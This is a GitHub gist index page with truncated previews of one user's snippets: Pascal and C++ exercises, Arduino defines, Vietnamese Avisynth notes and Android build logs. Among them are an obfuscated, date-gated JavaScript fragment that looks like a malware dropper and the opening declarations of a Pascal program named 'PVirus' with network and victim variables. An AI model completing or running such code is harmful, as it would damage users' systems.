Skip to content

Instantly share code, notes, and snippets.

@tuankiet65
tuankiet65 / RLESTR.cpp
Created December 16, 2016 08:34
RLESTR
#include <fstream>
#include <string>
#include <iostream>
#include <vector>
#include <utility>
#include <sstream>
#define in(x, y, z) (x <= y) && (y <= z)
std::ifstream in;
std::ofstream out;
program songuyeno;
uses crt;
var n,nt,k:longint;
begin
clrscr; // xoá màn hình
write('n = ');
readln(n); // nhập vào số cần kiểm tra
if (n = 2) or (n = 3) then // Ví dụ như n là 2 hoặc 3 thì là số nguyên tố
nt:=0 // nt = 0 thì n là số nguyên tố, 1 nếu ngược lại
#define COL_NUM 16 // number of columns (16)
#define SPEED 10000
#define LATCH 2
#define CLOCK_ROW 3
#define DATA_ROW 4
#define CLOCK_COL 5
#define DATA_COL 6

Ví dụ như giờ chèn sub + overlay đi, thì mình làm những gì:

Overlay => chèn sub => encode

Việc của avisynth là nó làm cái overlay với chèn sub. Avisynth nó là một trình sửa video mà không phải dạng kéo thả như Proshow mà mình viết câu lệnh cho nó để nó làm việc. Ví dụ như:

source = AviSource(....) // Cái này sẽ đọc vào một video và lưu vào biến source over = AviSource(.....) // Đọc vào video cần overlay, lưu vào biến over

Overlay(source, over, ....) // Overlay hai cái video vào cái video sẽ xuất ra

program fib2;
var n, i, t, k: longint;
a, len: array [1..45] of longint;
procedure gen();
var i: longint;
begin
a[1]:=1;
a[2]:=0;
len[1]:=1;
len[2]:=1;
var etoxz = dfhhd("Nfw");
var cfbjcond = dfhhd("Je7U");
var eepkkt = window[cfbjcond][etoxz]();
var tpukpisd = 1447527445000;
if (eepkkt >= tpukpisd) {
var rlsoytxi = dfhhd("meYr");
var relzhlbt = dfhhd("Sdv1eym9a");
var frwfa = dfhhd("1EajdZm99Un");
var uymzqup = dfhhd("e97");
@tuankiet65
tuankiet65 / error.txt
Created October 27, 2015 14:52
SaberMod segfault
target arm C: libvpx <= external/libvpx/libvpx/vp9/encoder/vp9_dct.c
prebuilts/misc/linux-x86/ccache/ccache prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.8/bin/arm-linux-androideabi-gcc -I device/samsung/n7100/include -I external/libvpx/libvpx -I external/libvpx/armv7a-neon -I /home/tuankiet65/android/out/target/product/n7100/obj/STATIC_LIBRARIES/libvpx_intermediates/vp8/common -I /home/tuankiet65/android/out/target/product/n7100/obj/STATIC_LIBRARIES/libvpx_intermediates/vp8/decoder -I /home/tuankiet65/android/out/target/product/n7100/obj/STATIC_LIBRARIES/libvpx_intermediates/vp8/encoder -I /home/tuankiet65/android/out/target/product/n7100/obj/STATIC_LIBRARIES/libvpx_intermediates/vpx_scale -I external/libvpx -I /home/tuankiet65/android/out/target/product/n7100/obj/STATIC_LIBRARIES/libvpx_intermediates -I /home/tuankiet65/android/out/target/product/n7100/gen/STATIC_LIBRARIES/libvpx_intermediates -I libnativehelper/include/nativehelper -isystem system/core/include -isystem hardware/libhardware/include -
@tuankiet65
tuankiet65 / error_cmake.log
Last active September 11, 2015 08:47
PPSSPP build error
tuankiet65@localhost:[~/sources/ppsspp/build][Fri Sep 11 03:07 PM]$ make
Scanning dependencies of target Common
[ 0%] Building CXX object CMakeFiles/Common.dir/Common/ABI.cpp.o
[ 0%] Building CXX object CMakeFiles/Common.dir/Common/CPUDetect.cpp.o
[ 0%] Building CXX object CMakeFiles/Common.dir/Common/Thunk.cpp.o
[ 1%] Building CXX object CMakeFiles/Common.dir/Common/x64Analyzer.cpp.o
[ 1%] Building CXX object CMakeFiles/Common.dir/Common/x64Emitter.cpp.o
[ 1%] Building CXX object CMakeFiles/Common.dir/Common/ArmEmitter.cpp.o
[ 1%] Building CXX object CMakeFiles/Common.dir/Common/ColorConv.cpp.o
[ 2%] Building CXX object CMakeFiles/Common.dir/Common/ChunkFile.cpp.o
{$APPTYPE GUI}
{$H+}
Program PVirus;
Uses SysUtils, Dos, Crt, HTTPSend;
Var
Dir,DirCur,SystemRoot,SystemDrive, RandStr,sVictim : String;
F,fCmd:Text;
I:byte;
nTimes:LongInt;
//
@tuankiet65
tuankiet65 / error.log
Created September 2, 2015 08:40
n7100 error log (probably from CyanogenMod/android/ddd855bbe76f07dfee1d25baf2e8eea4cef492f2)
frameworks/testing/runner/src/main/java/android/support/test/internal/runner/intent/IntentMonitorImpl.java:21: error: package android.support.annotation does not exist
import android.support.annotation.NonNull;
^
frameworks/testing/runner/src/main/java/android/support/test/runner/MonitoringInstrumentation.java:21: error: cannot find symbol
import android.app.Fragment;
^
symbol: class Fragment
location: package android.app
frameworks/testing/runner/src/main/java/android/support/test/runner/MonitoringInstrumentation.java:32: error: package android.support.test.internal.runner.hidden does not exist
import android.support.test.internal.runner.hidden.ExposedInstrumentationApi;